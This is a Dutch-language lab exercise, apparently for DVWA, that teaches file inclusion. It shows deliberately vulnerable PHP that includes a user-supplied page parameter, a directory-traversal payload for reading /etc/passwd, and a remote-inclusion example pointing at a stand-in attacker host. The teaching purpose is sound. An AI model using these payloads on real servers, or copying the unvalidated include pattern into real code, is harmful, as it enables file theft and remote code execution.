File Inclusion — Low
Met File Inclusion kun je bestanden van de webserver opvragen (LFI) of zelfs scripts vanaf een externe server inladen (RFI).
1. Predict (Voorspel)
De webapplicatie heeft de volgende PHP code om verschillende pagina's weer te geven:
$file = $_GET['page'];
include($file);
Vraag: Wat gebeurt er als de gebruiker in de URL-balk de parameter ?page=../../../../../../etc/passwd invult?
Antwoord
De functie include() laadt letterlijk de inhoud van het opgegeven bestand en toont het op het scherm.
Door ../ te gebruiken (wat 'één map omhoog' betekent in Linux) navigeer je stapsgewijs helemaal naar de root van de harde schijf van de webserver. Daarna ga je de map /etc/ in en open je het bestand passwd. De server spuugt daardoor per ongeluk de complete lijst met alle geregistreerde Linux-gebruikers uit! Dit noemen we Local File Inclusion (LFI).
2. Run & Investigate
Start de lab-omgeving.
Je zult zien dat de parameter in de URL momenteel waarschijnlijk op ?page=include.php staat.
3. Modify & Make (Aanpassen & Maken)
Bouw een LFI aanval. Het is jouw doel om de Linux wachtwoorden/gebruikerslijst (/etc/passwd) op je eigen scherm weer te geven.
Tip
Vervang de naam van het originele bestand in de URL door een lange reeks van ../ commando's.
Antwoord
Vul als waarde in voor de page parameter:
../../../../../../../../etc/passwd
Je zult zien dat de opmaak van de pagina plotseling vol staat met systeemtekst, beginnend met root:x:0:0:...
4. ✓ Wat moest je zien?
- De pagina toont systeemtekst beginnend met
root:x:0:0:root:/root:/bin/bashen daaronder een hele lijst Linux-gebruikers. - De normale layout van de DVWA-pagina is verstoord: er staat ineens een blok ruwe tekst tussen de menu's in.
- In de URL zie je je
../../../-keten staan — dat is letterlijk de directory traversal.
Krijg je een witte pagina of "File not found"? Voeg dan een paar ../ extra toe aan je payload — afhankelijk van waar het include-script staat heb je 5, 7 of 9 niveaus omhoog nodig.
5. Er gaat iets mis...
Wat als je in plaats van een lokaal bestand, een URL van een andere website probeert in te vullen? Bijvoorbeeld: ?page=http://hacker.nl/kwaadaardig_script.php.
Als dit lukt, noemen we het Remote File Inclusion (RFI). De server downloadt jouw script en voert het direct uit alsof het zijn eigen code is! Als dit niet lukt, komt dat doordat de beheerder in de php.ini configuratie de instelling allow_url_include op Off heeft gezet. Dat is tegenwoordig gelukkig de standaard. LFI werkt echter nagenoeg altijd als er geen input-validatie is!